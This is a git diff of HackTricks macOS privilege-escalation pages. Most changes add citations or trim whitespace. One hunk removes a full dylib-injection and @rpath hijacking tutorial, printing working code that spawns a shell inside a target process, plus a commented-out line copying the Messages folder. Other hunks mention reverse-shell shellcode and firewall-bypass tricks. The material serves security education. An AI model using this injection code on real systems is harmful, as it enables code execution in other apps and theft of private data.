b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index b2430e99dd3..77c4ebf1b1e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -278,7 +278,7 @@ IOConnectCallStructMethod(conn, X, buf, sizeof(buf), buf, &outSz); ### Basic Information -**DriverKit** is Apple's user-space replacement for kernel extensions (kexts), introduced in macOS 10.15. DriverKit binaries (`.dext` bundles) run as user-space processes but communicate directly with the kernel through a privileged IOKit interface. +**DriverKit** is Apple's user-space replacement for kernel extensions (kexts), introduced in macOS 10.15. DriverKit binaries (`.dext` bundles) run as user-space processes but communicate directly with the kernel through a privileged IOKit interface.[[4]](#references) DriverKit extensions manage hardware: - **USB** controllers and devices @@ -288,7 +288,7 @@ DriverKit extensions manage hardware: - **Networking** interfaces - **Serial** and **Block Storage** devices -Unlike kexts (which required SIP-disabled boot or notarization), DriverKit extensions are installed via `SystemExtensions.framework` and only require **one-time user approval**. +Unlike kexts (which required SIP-disabled boot or notarization), DriverKit extensions are installed via `SystemExtensions.framework` and only require **one-time user approval**.[[5]](#references) ### Discovery & Enumeration diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 651b4c58e00..97fd74982eb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -144,7 +144,6 @@ disarm -e filesets kernelcache.release.d23 So basically you indicate the string that a function is using and disarm will find it and **symbolicate it**. -```bash You can find some `xnu.matchers` in [https://newosxbook.com/tools/disarm.html](https://newosxbook.com/tools/disarm.html) in the **`Matchers`** section. You can also create your own matchers. ```bash @@ -243,8 +242,8 @@ nm -a binaries/com.apple.security.sandbox | wc -l | Year | CVE | Summary | |------|-----|---------| -| 2024 | **CVE-2024-44243** | Logic flaw in **`storagekitd`** allowed a *root* attacker to register a malicious file-system bundle that ultimately loaded an **unsigned kext**, **bypassing System Integrity Protection (SIP)** and enabling persistent rootkits. Patched in macOS 14.2 / 15.2. | -| 2021 | **CVE-2021-30892** (*Shrootless*) | Installation daemon with the entitlement `com.apple.rootless.install` could be abused to execute arbitrary post-install scripts, disable SIP and load arbitrary kexts. | +| 2024 | **CVE-2024-44243** | Logic flaw in **`storagekitd`** allowed a *root* attacker to register a malicious file-system bundle that ultimately loaded an **unsigned kext**, **bypassing System Integrity Protection (SIP)** and enabling persistent rootkits. Patched in macOS 14.2 / 15.2. [[2]](#references) | +| 2021 | **CVE-2021-30892** (*Shrootless*) | Installation daemon with the entitlement `com.apple.rootless.install` could be abused to execute arbitrary post-install scripts, disable SIP and load arbitrary kexts. [[3]](#references) | **Take-aways for red-teamers** @@ -302,5 +301,6 @@ sudo lldb -n kernel_task -o "target modules load --file /Library/Extensions/Exam - [1] [DriverKit security for macOS - Apple Platform Security Guide](https://support.apple.com/guide/security/driverkit-security-seca48c92d43/web) - [2] [Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions - Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2025/01/13/analyzing-cve-2024-44243-a-macos-system-integrity-protection-bypass-through-kernel-extensions/) +- [3] [Microsoft finds new macOS vulnerability, Shrootless, that could bypass System Integrity Protection - Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index c042b2d38e6..1c27d3052c4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -21,7 +21,7 @@ In [**this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/ ## 2024: In-the-wild kernel protection bypass chain (CVE-2024-23225 & CVE-2024-23296) -Apple's [**March 2024 macOS security releases**](https://support.apple.com/en-us/120895) fixed two issues that were **actively exploited**: +Apple's [**March 2024 macOS security releases**](https://support.apple.com/en-us/120895) fixed two issues that were **actively exploited**:[[6]](#references) - **CVE-2024-23225 – Kernel**: a memory-corruption bug where an attacker with arbitrary kernel read/write could bypass kernel memory protections. - **CVE-2024-23296 – RTKit**: a second memory-corruption bug with the same public impact statement. @@ -129,5 +129,6 @@ spctl --status # Confirm Gatekeeper state - [3] [Mickey Jin - The Nightmare of Apple's OTA Update: Bypassing the Signature Verification and Pwning the Kernel](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) - [4] [Tingting Yin et al. - KextFuzz: Fuzzing macOS Kernel EXTensions on Apple Silicon via Exploiting Mitigations (USENIX Security '23)](https://www.usenix.org/conference/usenixsecurity23/presentation/yin) - [5] [Ivan Fratric (Project Zero) - Simple macOS kernel extension fuzzing in userspace with IDA and TinyInst](https://projectzero.google/2024/11/simple-macos-kernel-extension-fuzzing.html) +- [6] [About the security content of macOS Sonoma 14.4 - Apple Support](https://support.apple.com/en-us/120895) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-nvram.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-nvram.md index e956e0b9c78..6d24101a37d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-nvram.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-nvram.md @@ -133,8 +133,8 @@ sudo nvram boot-args="amfi_get_out_of_my_way=1" | CVE | Description | |---|---| -| CVE-2020-9839 | NVRAM manipulation enabling persistent SIP bypass | -| CVE-2019-8779 | Firmware-level NVRAM persistence on T2 Macs | +| CVE-2020-9839 | NVRAM manipulation enabling persistent SIP bypass [[2]](#references) | +| CVE-2019-8779 | Firmware-level NVRAM persistence on T2 Macs [[3]](#references) | | CVE-2022-22583 | PackageKit NVRAM-related privilege escalation | | CVE-2020-10004 | Logic issue in NVRAM handling allowing system modification | diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index c56dfb008a4..447449a306b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -71,7 +71,7 @@ The thing is that the security application needs to have **Full Disk Access perm tccutil reset All ``` -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) +For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)[[3]](#references) At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.[[3]](#references) @@ -82,6 +82,3 @@ At the end this was fixed by giving the new permission **`kTCCServiceEndpointSec - [3] [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 182aa16e8ec..ecf33414043 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -6,7 +6,7 @@ **Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. -Some notable features of APFS include: +Some notable features of APFS include:[[1]](#references) 1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. @@ -31,7 +31,8 @@ The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. ``` -{{#include ../../banners/hacktricks-training.md}} - +## References +- [1] [APFS Guide - Features - Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/APFS_Guide/Features/Features.html) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index c3fe41ca071..6af319eedc5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -199,7 +199,7 @@ LC 01: LC_SEGMENT_64 Mem: 0x100000000-0x100028000 __TEXT [...] ``` -You can find further information about the [**information stored in these section in this blog post**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). +You can find further information about the [**information stored in these section in this blog post**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).[[5]](#references) Moreover, **Swift binaries might have symbols** (for example libraries need to store symbols so its functions can be called). The **symbols usually have the info about the function name** and attr in a ugly way, so they are very useful and there are "**demanglers"** that can get the original name: @@ -274,7 +274,7 @@ In the right panel you can see interesting information such as the **navigation It allows users access to applications at an extremely **low level** and provides a way for users to **trace** **programs** and even change their execution flow. Dtrace uses **probes** which are **placed throughout the kernel** and are at locations such as the beginning and end of system calls. -DTrace uses the **`dtrace_probe_create`** function to create a probe for each system call. These probes can be fired in the **entry and exit point of each system call**. The interaction with DTrace occur through /dev/dtrace which is only available for the root user. +DTrace uses the **`dtrace_probe_create`** function to create a probe for each system call. These probes can be fired in the **entry and exit point of each system call**. The interaction with DTrace occur through /dev/dtrace which is only available for the root user.[[1]](#references) > [!TIP] > To enable Dtrace without fully disabling SIP protection you could execute on recovery mode: `csrutil enable --without dtrace` @@ -444,7 +444,7 @@ It also checks the binary processes against **virustotal** and show information ## PT_DENY_ATTACH -In [**this blog post**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) you can find an example about how to **debug a running daemon** that used **`PT_DENY_ATTACH`** to prevent debugging even if SIP was disabled. +In [**this blog post**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) you can find an example about how to **debug a running daemon** that used **`PT_DENY_ATTACH`** to prevent debugging even if SIP was disabled.[[6]](#references) ### lldb @@ -482,14 +482,14 @@ settings set target.x86-disassembly-flavor intel #### VM detection -- The command **`sysctl hw.model`** returns "Mac" when the **host is a MacOS** but something different when it's a VM. -- Playing with the values of **`hw.logicalcpu`** and **`hw.physicalcpu`** some malwares try to detect if it's a VM. +- The command **`sysctl hw.model`** returns "Mac" when the **host is a MacOS** but something different when it's a VM.[[3]](#references) +- Playing with the values of **`hw.logicalcpu`** and **`hw.physicalcpu`** some malwares try to detect if it's a VM.[[4]](#references) - Some malwares can also **detect** if the machine is **VMware** based on the MAC address (00:50:56). - It's also possible to find **if a process is being debugged** with a simple code such us: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }` - It can also invoke the **`ptrace`** system call with the **`PT_DENY_ATTACH`** flag. This **prevents** a deb**u**gger from attaching and tracing. - You can check if the **`sysctl`** or **`ptrace`** function is being **imported** (but the malware could import it dynamically) - - As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ + - As noted in this writeup, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :[[7]](#references)\ “_The message Process # exited with **status = 45 (0x0000002d)** is usually a tell-tale sign that the debug target is using **PT_DENY_ATTACH**_” ## Core Dumps @@ -611,7 +611,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash ### More Fuzzing MacOS Info -- [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44) +- [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44) [[2]](#references) - [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf) - [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben) - [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler) @@ -622,7 +622,8 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash - [2] [Jeremy Brown - Summer of Fuzz: MacOS - DEF CON 29 AppSec Village](https://www.youtube.com/watch?v=T5xfL9tEg44) - [3] [The Art of Mac Malware, Volume I: Analysis](https://taomm.org/vol1/analysis.html) - [4] [The Art of Mac Malware: The Guide to Analyzing Malicious Software](https://taomm.org/) +- [5] [knight.sc - information stored in these section in this blog post](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) +- [6] [knight.sc - Debugging Apple Binaries That Use Pt Deny Attach](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) +- [7] [alexomara.com - Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants) {{#include ../../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index f1bb8a0116c..cab0fd1774e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -367,7 +367,7 @@ For example the call `gettimeofdate` reads the value of `timeval` directly from It's super common to find this function used in Objective-C or Swift programs. This function allows to call a method of an objective-C object. -Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):[[4]](#references) - x0: self -> Pointer to the instance - x1: op -> Selector of the method @@ -814,8 +814,6 @@ call_execve: - [1] [daem0nc0re/macOS_ARM64_Shellcode - shell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) - [2] [daem0nc0re/macOS_ARM64_Shellcode - bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) - [3] [daem0nc0re/macOS_ARM64_Shellcode - reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s) +- [4] [Apple Developer - 712 Objc Msgsend](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index 438b42331d2..d9c932dba47 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -448,6 +448,3 @@ dup2: - [3] [Packet Storm - macOS 127.0.0.1:4444 Reverse Shell Shellcode](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index d87edf4dd7d..9001a073d3c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -275,6 +275,7 @@ if (ObjC.available) { ## References + - [1] [Clang/LLVM: Pointer Authentication and the ptrauth.h intrinsics (arm64e ABI)](https://clang.llvm.org/docs/PointerAuthentication.html) - [2] [Apple objc runtime headers - objc-object.h (tagged pointers, non‑pointer isa, etc.)](https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index d3554a73747..2ab1de3666f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -347,5 +347,3 @@ It's also possible to manage files **using `NSURL` objects instead of `NSString` {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 31f9045dbc1..55027800d2d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -111,7 +111,7 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time ### Packet Filter (PF) rule-ordering bug in early macOS 14 “Sonoma” During the macOS 14 beta cycle Apple introduced a regression in the userspace wrapper around **`pfctl`**. -Rules that were added with the `quick` keyword (used by many VPN kill-switches) were silently ignored, causing traffic leaks even when a VPN/firewall GUI reported *blocked*. The bug was confirmed by several VPN vendors and fixed in RC 2 (build 23A344). +Rules that were added with the `quick` keyword (used by many VPN kill-switches) were silently ignored, causing traffic leaks even when a VPN/firewall GUI reported *blocked*. The bug was confirmed by several VPN vendors and fixed in RC 2 (build 23A344).[[6]](#references) Quick leak-check: @@ -193,5 +193,6 @@ log stream --predicate 'subsystem == "com.apple.networkextension"' --style syslo - [3] [Apple Removes macOS Feature That Allowed Apps to Bypass Firewall Security - The Hacker News](https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html) - [4] [Cybersecurity Products Conking Out After macOS Sequoia Update - SecurityWeek](https://www.securityweek.com/cybersecurity-products-conking-out-after-macos-sequoia-update/) - [5] [Use network protection to help prevent macOS connections to bad sites - Microsoft Defender for Endpoint | Microsoft Learn](https://learn.microsoft.com/en-us/defender-endpoint/network-protection-macos) +- [6] [macOS 14 Sonoma firewall bug fixed! - Mullvad VPN Blog](https://mullvad.net/en/blog/2023/9/22/macos-14-sonoma-firewall-bug-fixed) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index 3f953d8c364..b8d43cb2a91 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -75,6 +75,7 @@ This is useful both for defenders and for red teamers doing self-assessment: if ## References + - [1] [Objective-See - TCCing is Believing! Apple finally adds TCC events to Endpoint Security!](https://objective-see.org/blog/blog_0x7F.html) - [2] [Red Canary - Introducing: Mac Monitor](https://redcanary.com/blog/threat-detection/mac-monitor/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md deleted file mode 100644 index 00462001b41..00000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ /dev/null @@ -1,169 +0,0 @@ -# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES - -{{#include ../../banners/hacktricks-training.md}} - -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: - -```c -// gcc -dynamiclib -o inject.dylib inject.c - -#include -#include -#include -#include -__attribute__((constructor)) - -void myconstructor(int argc, const char **argv) -{ - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); -} -``` - -Binary to attack: - -```c -// gcc hello.c -o hello -#include - -int main() -{ - printf("Hello, World!\n"); - return 0; -} -``` - -Injection: - -```bash -DYLD_INSERT_LIBRARIES=inject.dylib ./hello -``` - -## Dyld Hijacking Example - -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. - -{{#tabs}} -{{#tab name="entitlements"}} - -
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-[...]com.apple.security.cs.disable-library-validation[...]
-
- -{{#endtab}} - -{{#tab name="LC_RPATH"}} - -```bash -# Check where are the @rpath locations -otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) --- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) -``` - -{{#endtab}} - -{{#tab name="@rpath"}} - -```bash -# Check librareis loaded using @rapth and the used versions -otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 -compatibility version 1.0.0 -# Check the versions -``` - -{{#endtab}} -{{#endtabs}} - -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: - -- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` -- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` - -However, the first one doesn't exist: - -```bash -pwd -/Applications/VulnDyld.app - -find ./ -name lib.dylib -./Contents/Resources/lib2/lib.dylib -``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - -```objectivec:lib.m -#import - -__attribute__((constructor)) -void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); -} -``` - -Compile it: - -```bash -gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" -# Note the versions and the reexport -``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - -```bash -#Check relative -otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) - -#Change the location of the library absolute to absolute path -install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib - -# Check again -otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) -``` - -Finally just copy it to the **hijacked location**: - -```bash -cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" -``` - -And **execute** the binary and check the **library was loaded**: - -
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
-Usage: [...]
-
- -> [!TIP] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) - -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). - -```bash -sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' -``` - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index ded93b8f44f..8ff41c51dbd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -167,6 +167,7 @@ If your goal is passive code-execution from merely browsing to a folder or selec ## References + - [1] [Objective-See - Remote Mac Exploitation Via Custom URL Schemes](https://objective-see.org/blog/blog_0x38.html) - [2] [Jamf Threat Labs - Bypassing the Gate: A closer look into Gatekeeper flaws on macOS](https://www.jamf.com/blog/gatekeeper-flaws-on-macos/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index a8301b25063..0201938c7e0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -290,5 +290,3 @@ The directory `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/ - **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: List of daemons deactivated. {{#include ../../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index b3b7cf7520b..4bf31cb4cd5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -42,7 +42,7 @@ Beyond the common directories, bundles may also include: This structure ensures that all necessary components are encapsulated within the bundle, facilitating a modular and secure application environment. -For more detailed information on `Info.plist` keys and their meanings, the Apple developer documentation provides extensive resources: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). +For more detailed information on `Info.plist` keys and their meanings, the Apple developer documentation provides extensive resources: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).[[3]](#references) ## Security Notes & Abuse Vectors @@ -102,11 +102,10 @@ otool -l /Applications/App.app/Contents/MacOS/App | grep -A2 RPATH otool -L /Applications/App.app/Contents/MacOS/App ``` - - ## References - [1] [Bringing process injection into view(s): exploiting macOS apps using nib files (2024)](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) - [2] [Dirty NIB & bundle resource tampering write‑up (2024)](https://karol-mazurek.medium.com/snake-apple-app-bundle-ext-f5c43a3c84c4) +- [3] [Apple Developer - Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index f8a6014c8a0..a52f12d715a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -121,7 +121,7 @@ An example of this is **CVE-2021-26089** which managed to **overwrite a periodic ### Empty Payload -It's possible to just generate a **`.pkg`** file with **pre and post-install scripts** without any real payload apart from the malware inside the scripts. +It's possible to just generate a **`.pkg`** file with **pre and post-install scripts** without any real payload apart from the malware inside the scripts.[[2]](#references) ### JS in Distribution xml @@ -213,6 +213,3 @@ productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pk - [8] [DEF CON 25 - Patrick Wardle - Death By 1000 Installers on macOS and it's all broken!](https://www.youtube.com/watch?v=lTOItyjTTkw) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index 1c5f6989083..6fa5bc58530 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ 